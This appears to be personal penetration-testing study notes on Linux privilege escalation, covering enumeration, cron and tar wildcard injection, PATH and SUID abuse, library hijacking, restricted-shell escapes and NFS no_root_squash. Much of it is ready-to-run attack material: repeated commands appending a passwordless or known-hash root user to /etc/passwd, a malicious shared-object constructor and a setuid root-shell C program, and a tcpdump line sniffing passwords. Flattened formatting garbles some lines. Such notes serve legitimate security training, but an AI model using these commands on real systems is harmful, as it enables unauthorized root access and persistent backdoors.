Files and User Privileges
Manual Enumeration
id can tell use about the user contexthostname can give us, the, uh, hostname/etc/issue and /etc/os-release and uname -a can give us OS info for exploitsps auxss -plunt
- This will VERY OFTEN be a mechanism for privilege escalation, as internal services tend to be pretty squishy, so enumerate them well!ip a or ifconfig
route or routel or netstat -rnarp -a (same with /etc/hosts)netstat -anp or ss -anp/etc/iptablesiptables-save output in that directory, ending in .v4 I thinkdpkg -lmount will list all mounted filesystems
cat /etc/fstab and grep for sensitive informationlsblk to list all available disksdf -h to listlpstatlsmod
/sbin/modinfo {module_name}grep -nirE "ProxyPass |Alias " /etc/apache2
/etc/apache2/vhosts.d/Automated Enumeration
linpeas
https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
unix-privesc-check
./unix-privesc-check standard > output.txtLinEnum - apparently a developed tool listed alongside LinPeaspspy - https://github.com/DominicBreuker/pspy
linux-exploit-suggester (executed by linpeas)
Noseyparker
chmod 111 ./noseyparker before runningChecking User History Files
.bashrc can sometimes contains environment variables with credentialsecho $HISTFILEenvInspecting User/System Trails for Credentials
watch -n 1sudo to run something like ps -aux | grep "pass" to look for new processes spawned with “pass” somewhere in the commandsudo tcpdump -i lo -A | grep "pass"Searching for interesting files
find . -name '*.sh' 2>/dev/null (or .py, .pl, etc.)
-not -path '{path}/*'
find / -name '*.sh' -not -path '/snap/*' -not -path '/usr/src/linux*' 2>/dev/nullfind flags
-group {group} - owned by a certain group-user {user} - owner by a certain user-size {bytes}c - number of bytes long
+ or - in front of bytes to check larger/smaller than-exec grep -nir "{data}" {} \; - search resulting files for data
-A 2 -B 2 for above and below 2 lines of grepgetfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/nullAbusing Insecure Cron Jobs/File Permissions
ls -lah /etc/cron*grep "CRON" /var/log/syslog/opt/crontabs/ and /var/log/cron.logtar -zcf {output_file} *, we can name a file --checkpoint=1 --checkpoint-action=exec={command_or_script}, which would get appended onto the tar command due to the wildcardfind / -writable -type d 2>/dev/nullfind / -writable -type f 2>/dev/nullfind /home -readable -type f 2>/dev/nullAbusing Password Authentication
/etc/passwd is considered valid for auth, even with existence of /etc/shadow, meaning that if we can write to /etc/passwd we can just set an arbitrary password for a user
openssl passwd {passwd}, which returns crypt algo hashecho 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd (creates new root2/w00t user)PATH Abuse
/usr/sbin, we could add a file there called cat with echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd inside
/usr/sbin comes first in $PATH (and is shared among users), scripts run by root that call cat would run our binarySetUID/SetGID
setuid and setgid executablesfind / -perm -u=s -type f 2>/dev/null
id with command injection would result in uid=1000({user}}) gid=1000({user_group}) euid=0(root) groups=1000({user_group})os.setuid(0) before anything is run as root
echo "echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd" > /tmp/cat (replace cat with target binary)chmod +x /tmp/catexport PATH=/tmp:$PATH (placing /tmp at the front so our “binaries” come first)/etc/passwdbash or sh, will not use the EUID set by a suid binary
Abuse Capabilities
cap_setuid, cap_setgid, cap_sys_admin, or cap_dac_override to gain root privilegesgetcap -r / 2>/dev/null
/usr/sbin/getcapvim) with file read permissions (cap_dac_override) - we could use it to read a root-level fileCircumvent Special Sudo Permissions
sudo -l to see allowed commandsEnumerate Kernel for CVEs
cat /etc/issue, uname -r, and archsearchsploit to search for existing kernel exploits
searchsploit "linux kernel {kernel type and version} Local Privilege Escalation" and then grep for the version needed
grep "4." | grep -v " < 4.4.4" | grep -v "4.8"Shared Object Hijacking
RUNPATH, which is given loading priority
readelf -d {binary} | grep PATH will tell us the runpath of the binaryRUNPATH, we can compile a malicious .so file to be used by the binary in place of a custom .so fileldd to figure out which shared objects are in use (as well as their paths)
ldd {executable_name}gcc {c_code_file} -fPIC -shared -o {output_so_file} and move the file to the correct location#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
__attribute__((constructor)) void init() {
setuid(0);
system("echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd");
}
Python Library Hijacking
import os; os.system('{command}') to the function namepsutil is imported and the virtual_memory() function is used, we can run grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/* and locate where the function itself is called, adding our line to the top of the functionpython3 -c 'import sys; print("\n".join(sys.path))' to see the in-order priority list of library locations{library_name}.py to a higher directory, with a function inside that runs import os; os.system('{command}')SETENV for /usr/bin/python3 in /etc/sudoers, we can define the location to import modules fromPYTHONPATH=/tmp/ python3 ./{script} with our malicious library and function, same as above
Common Restricted Shells
Command Injection
$() or ` to simply execute commandsls -l ${cmd}ls;whoami or ls|whoamiModifying Environment Variables
$0 or $PATH directlyShell Functions
function asdf() { /bin/bash; }, and then run asdfReading files
help or compgen -c to see what we haveman -C {file} to set the contents of the file as man config, which man will error out onNo Root Squash Abuse
nfsnobody, which is unprivileged
/bin/sh on kali machine#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
/mnt to /tmp on the target server’s NFS - sudo mount -t nfs {target}:/tmp /mnt/tmp directory on the NFS server - cp {binary_name} /mntchmod u+s /mnt/{binary_name}Using Symlinks
/etc/passwd and then use the additional permissions to give ourselves a backdoor
ln -s /etc/passwd {path_to_overwritten_file}echo "attacker::0:0:attacker:/root:/bin/bash" >> /etc/passwd and we’re golden with su attacker/etc/passwd with a line appended onto it, and the process will overwrite the symlinked fileDecrypting files using a key
openssl enc -d -aes256 -k {key} -in {file_to_decrypt} -out {where_to_put_decrypted_file}What to do once you have root?
/etc/shadow for hashes